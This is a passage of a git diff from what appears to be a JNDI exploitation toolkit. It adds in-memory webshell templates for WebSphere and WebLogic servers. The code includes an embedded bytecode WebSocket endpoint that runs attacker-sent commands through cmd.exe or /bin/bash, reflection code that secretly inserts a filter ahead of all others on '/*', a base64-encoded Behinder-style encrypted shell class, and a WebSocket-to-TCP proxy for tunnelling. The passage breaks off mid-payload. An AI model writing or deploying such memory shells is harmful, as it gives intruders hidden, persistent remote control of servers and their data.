0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 83, 12, 0, 84, 0, 85, 12, 0, 86, 0, 87, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 88, 0, 89, 7, 0, 90, 12, 0, 91, 0, 92, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 93, 0, 94, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 95, 12, 0, 96, 0, 97, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 98, 12, 0, 99, 0, 100, 12, 0, 101, 0, 102, 12, 0, 103, 0, 35, 12, 0, 104, 0, 100, 12, 0, 32, 0, 33, 7, 0, 105, 12, 0, 106, 0, 108, 12, 0, 109, 0, 87, 7, 0, 111, 12, 0, 112, 0, 38, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 113, 0, 35, 12, 0, 114, 0, 115, 12, 0, 37, 0, 38, 1, 0, 10, 87, 101, 98, 83, 111, 99, 107, 101, 116, 67, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, 116, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, 117, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 37, 0, 38, 0, 1, 0, 36, 0, 0, 0, -88, 0, 5, 0, 7, 0, 0, 0, -108, 18, 2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 62, 29, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 77, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 77, 44, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 44, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 0, 0, 1, 0, 39, 0, 40, 0, 1, 0, 36, 0, 0, 0, 25, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 21, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 0, 16, 65, 0, 37, 0, 41, 0, 1, 0, 36, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 2, 0, 45, 0, 44, 0, 0, 0, 18, 0, 2, 0, 31, 0, 81, 0, 43, 6, 9, 0, 73, 0, 110, 0, 107, 6, 9}; + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build(); + WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); + if (null == container.findMapping(urlPath)) { + try { + container.addEndpoint(configEndpoint); + } catch (DeploymentException e) { + e.printStackTrace(); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java new file mode 100644 index 00000000..236717a6 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java @@ -0,0 +1,127 @@ +package com.qi4l.jndi.template.memshell.Websphere; + +import javax.servlet.*; +import javax.websocket.Session; +import java.io.IOException; +import java.lang.reflect.Method; +import java.util.EnumSet; +import java.util.List; + +/** + * WebSocket 内存马 + * @author nu1r + */ +public class WSFMSFromThread implements Filter { + + public static String pattern; + + public static String NAME; + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + Object[] obj_arr = (Object[]) obj; + for (int j = 0; j < obj_arr.length; j++) { + Object o = obj_arr[j]; + if (o == null) continue; + + if (o.getClass().getName().endsWith("WebContainerRequestState")) { + Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); + + field = servletContext.getClass().getDeclaredField("context"); + field.setAccessible(true); + Object context = field.get(servletContext); + + field = context.getClass().getSuperclass().getDeclaredField("config"); + field.setAccessible(true); + Object webAppConfiguration = field.get(context); + + Method method = null; + Method[] methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("getFilterMappings")) { + method = methods[i]; + break; + } + } + List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); + + boolean flag = false; + for (int i = 0; i < filerMappings.size(); i++) { + Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); + String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); + if (name.equals(NAME)) { + flag = true; + break; + } + } + + //如果已存在同名的 Filter,就不在添加,防止重复添加 + if (!flag) { + Filter filter = new WSFMSFromThread(); + + Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{NAME}); + filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("addFilterInfo")) { + method = methods[i]; + break; + } + } + method.invoke(webAppConfiguration, new Object[]{filterConfig}); + + field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); + field.setAccessible(true); + Object original = field.get(filterConfig); + + //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 + field.set(filterConfig, null); + + method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); + method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{pattern}}); + + //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 + field.set(filterConfig, original); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("getUriFilterMappings")) { + method = methods[i]; + break; + } + } + + //这里的目的是为了将我们添加的动态 Filter 放到第一位 + List uriFilterMappingInfos = (List) method.invoke(webAppConfiguration, new Object[0]); + uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); + } + + break; + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java new file mode 100644 index 00000000..291598a9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java @@ -0,0 +1,150 @@ +package com.qi4l.jndi.template.memshell.Websphere; + +import javax.servlet.ServletContext; +import javax.websocket.server.ServerEndpointConfig; +import javax.websocket.*; +import java.io.*; +import java.nio.channels.AsynchronousSocketChannel; +import java.util.HashMap; +import java.nio.ByteBuffer; +import java.nio.channels.CompletionHandler; +import java.net.InetSocketAddress; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.Future; +import com.ibm.websphere.wsoc.WsWsocServerContainer; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +import java.lang.reflect.Field; + +public class WSWebsphereProxy extends Endpoint { + + static { + try { + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + String path = request.getParameter("path"); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(WSWebsphereProxy.class, path).build(); + WsWsocServerContainer container = (WsWsocServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer"); + Field name = null; + try { + name = container.getClass().getDeclaredField("noMoreAdds"); + name.setAccessible(true); + name.setBoolean(container, false); + try { + if (servletContext.getAttribute(path) == null){ + container.addEndpoint(configEndpoint); + servletContext.setAttribute(path,path); + } + System.out.println("success, connect url path: " + servletContext.getContextPath() + path); + } catch (Exception e) { + System.out.println(e.toString()); + } + } catch (Exception e) { + System.out.println(e.toString()); + } + } catch (Exception ignored) { + } + } + + long i =0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + static class Attach { + public AsynchronousSocketChannel client; + public Session channel; + } + void readFromServer(Session channel,AsynchronousSocketChannel client){ + final ByteBuffer buffer = ByteBuffer.allocate(102400); + Attach attach = new Attach(); + attach.client = client; + attach.channel = channel; + client.read(buffer, attach, new CompletionHandler() { + @Override + public void completed(Integer result, final Attach scAttachment) { + buffer.clear(); + try { + if(buffer.hasRemaining() && result>=0) + { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr,0,result); + baos.write(arr,0,result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (scAttachment.channel.isOpen()) { + scAttachment.channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(scAttachment.channel,scAttachment.client); + }else{ + if(result > 0) + { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr,0,result); + baos.write(arr,0,result); + readFromServer(scAttachment.channel,scAttachment.client); + } + } + } catch (Exception ignored) {} + } + @Override + public void failed(Throwable t, Attach scAttachment) {t.printStackTrace();} + }); + } + void process(ByteBuffer z,Session channel) + { + try{ + if(i>1) + { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + z.flip(); + z.clear(); + } + else if(i==1) + { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch(Exception ignored){ + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel,client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + }catch(Exception ignored){ + } + } + @Override + public void onOpen(final Session session, EndpointConfig config) { + i=0; + session.setMaxBinaryMessageBufferSize(1024*1024*20); + session.setMaxTextMessageBufferSize(1024*1024*20); + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message,session); + } catch (Exception ignored) { + } + } + }); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java new file mode 100644 index 00000000..2ad7b678 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java @@ -0,0 +1,141 @@ +package com.qi4l.jndi.template.memshell.Websphere; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import sun.misc.BASE64Decoder; +import javax.servlet.DispatcherType; +import javax.servlet.Filter; +import java.lang.reflect.Method; +import java.util.EnumSet; +import java.util.List; + +import static org.fusesource.jansi.Ansi.ansi; + +public class WebsphereMemshellTemplate extends AbstractTranslet { + + public WebsphereMemshellTemplate(){ + try{ + String filterName = "dynamicFilter"; + String urlPattern = "/*"; + + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + Object[] obj_arr = (Object[]) obj; + for(int j = 0; j < obj_arr.length; j++){ + Object o = obj_arr[j]; + if(o == null) continue; + + if(o.getClass().getName().endsWith("WebContainerRequestState")){ + Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); + + field = servletContext.getClass().getDeclaredField("context"); + field.setAccessible(true); + Object context = field.get(servletContext); + + field = context.getClass().getSuperclass().getDeclaredField("config"); + field.setAccessible(true); + Object webAppConfiguration = field.get(context); + + Method method = null; + Method[] methods = webAppConfiguration.getClass().getMethods(); + for(int i = 0; i < methods.length; i++){ + if(methods[i].getName().equals("getFilterMappings")){ + method = methods[i]; + break; + } + } + List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); + + boolean flag = false; + for(int i = 0; i < filerMappings.size(); i++){ + Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); + String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); + if(name.equals(filterName)){ + flag = true; + break; + } + } + + //如果已存在同名的 Filter,就不在添加,防止重复添加 + if(!flag){ + System.out.println( ansi().render("@|green [+] Add Dynamic Filter|@")); + + ClassLoader cl = Thread.currentThread().getContextClassLoader(); + try{ + clazz = cl.loadClass("com.qi4l.jndi.template.DynamicFilterTemplate"); + }catch(ClassNotFoundException e){ + BASE64Decoder base64Decoder = new BASE64Decoder(); + String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1